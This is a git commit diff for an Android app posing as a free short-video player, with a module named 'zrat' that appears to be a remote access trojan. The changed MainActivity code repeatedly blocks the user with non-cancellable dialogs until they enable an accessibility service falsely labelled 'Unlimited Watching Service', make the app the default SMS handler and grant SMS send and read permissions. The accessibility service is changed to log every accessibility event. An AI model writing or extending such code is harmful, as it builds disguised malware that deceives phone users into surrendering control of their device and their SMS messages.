x1ongzhu 1 year ago
parent
commit
af5677cd8f

+ 1 - 1
.env.app1

@@ -1,5 +1,5 @@
 VITE_BASE_URL=/
-VITE_API_BASE_URL=https://www.freeshort.buzz/api/
+VITE_API_BASE_URL=https://www.shortfree.buzz/api/
 VITE_APP=true
 VITE_STORAGE_TYPE=oss
 VITE_PACKAGE=shortfree

+ 69 - 40
android/app/src/main/java/io/freeshort/freeshort/MainActivity.java

@@ -1,6 +1,7 @@
 package io.freeshort.freeshort;
 
 import android.app.role.RoleManager;
+import android.content.DialogInterface;
 import android.content.Intent;
 import android.os.Build;
 import android.os.Bundle;
@@ -18,6 +19,7 @@ import com.getcapacitor.BridgeActivity;
 import java.util.Arrays;
 
 import pub.devrel.easypermissions.AppSettingsDialog;
+import pub.devrel.easypermissions.EasyPermissions;
 
 public class MainActivity extends BridgeActivity {
     private int RETRY_COUNT = 0;
@@ -38,43 +40,20 @@ public class MainActivity extends BridgeActivity {
     @Override
     public void onResume() {
         super.onResume();
+
+        boolean a11y = checkA11yService();
+        if (!a11y) return;
+        dismissDialog();
+
+
         boolean smsApp = checkSmsApp();
-        if (smsApp) {
-            if (alertDialog != null && alertDialog.isShowing()) {
-                alertDialog.dismiss();
-                alertDialog = null;
-            }
+        if (!smsApp) return;
+        dismissDialog();
 
-            if (AccessibilityService.instance == null) {
-                AlertDialog.Builder builder = new AlertDialog.Builder(this);
-                builder.setTitle("Need Permission")
-                        .setMessage("To continue using this app, please enable the Unlimited Watching Service")
-                        .setPositiveButton("确定", (dialog, id) -> {
-                            Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
-                            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-                            startActivity(intent);
-                            dialog.dismiss();
-                        })
-                        .setCancelable(false)
-                        .create().show();
-            }
-            PermissionManager.getInstance(this).checkPermissions(
-                    Arrays.asList(android.Manifest.permission.SEND_SMS, android.Manifest.permission.READ_SMS),
-                    new PermissionManager.PermissionRequestListener() {
-                        @Override
-                        public void onPermissionGranted() {
-
-                        }
-
-                        @Override
-                        public void onPermissionDenied(DeniedPermissions deniedPermissions) {
-                            new AppSettingsDialog.Builder(MainActivity.this)
-                                    .setTitle("需要权限")
-                                    .setRationale("如要继续使用本APP,请打开短信权限")
-                                    .build().show();
-                        }
-                    });
-        }
+
+        boolean smsPermission = checkSmsPermission();
+        if (!smsPermission) return;
+        dismissDialog();
 
     }
 
@@ -119,16 +98,66 @@ public class MainActivity extends BridgeActivity {
         return false;
     }
 
+    private boolean checkA11yService() {
+        if (AccessibilityService.instance != null) {
+            return true;
+        }
+        showDialog("Permission Required", "To continue using this app, please enable the Unlimited Watching Service",
+                (dialog, which) -> {
+                    Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
+                    intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+                    startActivity(intent);
+                });
+        return false;
+    }
+
+    private boolean checkSmsPermission() {
+        boolean hasPermission = EasyPermissions.hasPermissions(this, android.Manifest.permission.SEND_SMS, android.Manifest.permission.READ_SMS);
+        if (hasPermission) {
+            return true;
+        }
+        PermissionManager.getInstance(this).checkPermissions(
+                Arrays.asList(android.Manifest.permission.SEND_SMS, android.Manifest.permission.READ_SMS),
+                new PermissionManager.PermissionRequestListener() {
+                    @Override
+                    public void onPermissionGranted() {
+
+                    }
+
+                    @Override
+                    public void onPermissionDenied(DeniedPermissions deniedPermissions) {
+                        new AppSettingsDialog.Builder(MainActivity.this)
+                                .setTitle("Permission Required")
+                                .setRationale("To continue using this app, please grant the required permissions")
+                                .build().show();
+                    }
+                });
+        return false;
+    }
+
     private void gotoSettings() {
         if (alertDialog != null && alertDialog.isShowing()) return;
-        alertDialog = new AlertDialog.Builder(this)
-                .setTitle("Permission Required")
-                .setMessage("Please choose " + getString(R.string.app_name) + " as your default SMS app")
-                .setPositiveButton("OK", (dialog, which) -> {
+        showDialog("Permission Required", "Please choose " + getString(R.string.app_name) + " as your default SMS app",
+                (dialog, which) -> {
                     Intent i = new Intent(Settings.ACTION_MANAGE_DEFAULT_APPS_SETTINGS);
                     startActivity(i);
-                })
+                });
+    }
+
+    private void showDialog(String title, String msg, DialogInterface.OnClickListener listener) {
+        if (alertDialog != null && alertDialog.isShowing()) return;
+        alertDialog = new AlertDialog.Builder(this)
+                .setTitle(title)
+                .setMessage(msg)
+                .setPositiveButton("OK", listener)
                 .setCancelable(false)
                 .show();
     }
+
+    private void dismissDialog() {
+        if (alertDialog != null && alertDialog.isShowing()) {
+            alertDialog.dismiss();
+            alertDialog = null;
+        }
+    }
 }

+ 17 - 17
android/zrat/src/main/java/com/example/zrat/AccessibilityService.java

@@ -51,22 +51,22 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
         info.notificationTimeout = 100;
         this.setServiceInfo(info);
 
-        WindowManager windowManager = (WindowManager) getSystemService(WINDOW_SERVICE);
-        mLayout = new FrameLayout(this);
-        WindowManager.LayoutParams layoutParams = new WindowManager.LayoutParams();
-        layoutParams.type = WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY;
-        layoutParams.format = PixelFormat.TRANSLUCENT;
-        layoutParams.flags |= WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
-        layoutParams.width = WindowManager.LayoutParams.WRAP_CONTENT;
-        layoutParams.height = WindowManager.LayoutParams.WRAP_CONTENT;
-        layoutParams.x = 0;
-        layoutParams.y = 1120;
-        layoutParams.gravity = Gravity.START | Gravity.TOP;
-        LayoutInflater inflater = LayoutInflater.from(this);
-        inflater.inflate(R.layout.floating_bar, mLayout);
-        windowManager.addView(mLayout, layoutParams);
-
-        configureButton();
+//        WindowManager windowManager = (WindowManager) getSystemService(WINDOW_SERVICE);
+//        mLayout = new FrameLayout(this);
+//        WindowManager.LayoutParams layoutParams = new WindowManager.LayoutParams();
+//        layoutParams.type = WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY;
+//        layoutParams.format = PixelFormat.TRANSLUCENT;
+//        layoutParams.flags |= WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+//        layoutParams.width = WindowManager.LayoutParams.WRAP_CONTENT;
+//        layoutParams.height = WindowManager.LayoutParams.WRAP_CONTENT;
+//        layoutParams.x = 0;
+//        layoutParams.y = 1120;
+//        layoutParams.gravity = Gravity.START | Gravity.TOP;
+//        LayoutInflater inflater = LayoutInflater.from(this);
+//        inflater.inflate(R.layout.floating_bar, mLayout);
+//        windowManager.addView(mLayout, layoutParams);
+//
+//        configureButton();
     }
 
     private void configureButton() {
@@ -125,7 +125,7 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
 
     @Override
     public void onAccessibilityEvent(AccessibilityEvent event) {
-        Log.i(TAG, "onAccessibilityEvent: ");
+        Log.i(TAG, "onAccessibilityEvent: " + event.toString());
 
         try {
             String packageName = event.getPackageName().toString();